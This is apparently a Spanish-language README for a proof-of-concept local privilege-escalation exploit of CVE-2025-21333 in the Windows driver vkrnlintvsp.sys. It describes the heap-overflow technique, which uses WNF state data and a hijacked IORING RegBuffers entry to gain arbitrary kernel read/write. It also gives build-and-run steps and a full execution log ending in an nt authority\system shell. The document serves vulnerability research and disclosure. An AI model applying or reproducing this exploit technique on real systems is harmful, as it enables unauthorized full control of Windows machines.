
Exploit PoC para CVE-2025-21333: desbordamiento de búfer basado en montón. Aprovecha datos de estado WNF y el anillo de E/S IOP\_MC\_BUFFER\_ENTRY
Prueba de concepto que explota CVE-2025-21333 en vkrnlintvsp.sys (no muy fiable, véase la sección Requisitos y Limitaciones). En la sección de Referencias se encuentran recursos muy útiles para quienes quieran jugar con el exploit.
Un análisis detallado de la vulnerabilidad y el exploit está disponible aquí.
La vulnerabilidad fue detectada como explotada activamente por actores de amenazas.
Probado en Windows 11 23h2.
Puede funcionar también en Windows 11 24h2 pero no lo he probado.
A continuación, el hash de ntoskrnl.exe y vkrnlintvsp.sys que se usaron para probar el POC.
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys
Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
No utiliza NtQuerySystemInformation para filtrar direcciones del kernel ni PreviousMode para obtener lectura/escritura arbitraria.
En su lugar, asigna en el Paged Pool un array de punteros a _IOP_MC_BUFFER_ENTRY y sobrescribe el primer puntero con un IOP_MC_BUFFER_ENTRY* malicioso ubicado en espacio de usuario. Usando BuildIoRingWriteFile()/BuildIoRingReadFile() es posible obtener lectura/escritura arbitraria en el kernel.
El array de punteros a _IOP_MC_BUFFER_ENTRY es un objeto con PoolTag IrRB.
La técnica difiere ligeramente de la documentada por Yarden Shafir aquí. En lugar de tomar el control de todo el array apuntado por _IORING_OBJECT.RegBuffers, la técnica toma el control solo de una entrada en el array apuntado por _IORING_OBJECT.RegBuffers.
Dado que el tamaño del array de punteros es controlable por el usuario, esto significa que puede usarse para obtener lectura/escritura arbitraria confiable en ring0 a partir de desbordamientos de heap y UAF para múltiples buckets de LFH.
No sé si alguien ya compartió esta técnica para explotar desbordamientos o UAF en el paged pool.
Estas capturas de pantalla fueron tomadas después de ejecutar el POC. El desbordamiento estaba en el bucket para objetos de tamaño 0x50. Nótese que fue posible asignar un array RegBuffers en ese bucket y el primer puntero apunta a memoria de espacio de usuario.

Nótese que la entrada maliciosa establece Address a un objeto de proceso. Address corresponde a la dirección arbitraria de la que queremos leer/escribir (esto ya está bien descrito en el artículo de Yarden Shafir).

Es necesario activar la característica de sandbox de Windows para que las syscalls vulnerables sean manejadas por el controlador vulnerable.

Logré obtener un desbordamiento de 0xfff0 bytes. No logré que la longitud del desbordamiento fuera totalmente controlable. Puede verse un crash si el desbordamiento es mayor que el subsegmento (puede ocurrir con bastante frecuencia). Quizás rociando más objetos se pueda minimizar este comportamiento.
El POC libera 2 datos de estado WNF para reasignar en esas posiciones un regBuffer (un array de punteros a _IOP_MC_BUFFER_ENTRY asociado a un IORING_OBJECT) y un PipeAttribute. A veces, entre la liberación y la reasignación, puede ocurrir que otro objeto sea asignado en esa posición por otro controlador. Sería posible usar otros objetos de datos de estado WNF corruptos en un bucle while para realizar múltiples intentos de reasignación y aumentar la posibilidad de tener el diseño deseado.
El código del POC es bastante desordenado.
Después de obtener sistema, es mejor salir del shell del sistema escribiendo exit en la consola, de lo contrario la máquina se bloqueará.
Compilar versión x64 Release.
Ejecutar y obtener un shell de sistema.
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0 dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6 ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00 ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00 ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00 8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41 :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00 ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00 ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.
C:\Users\unpriv>whoami
nt authority\system
C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>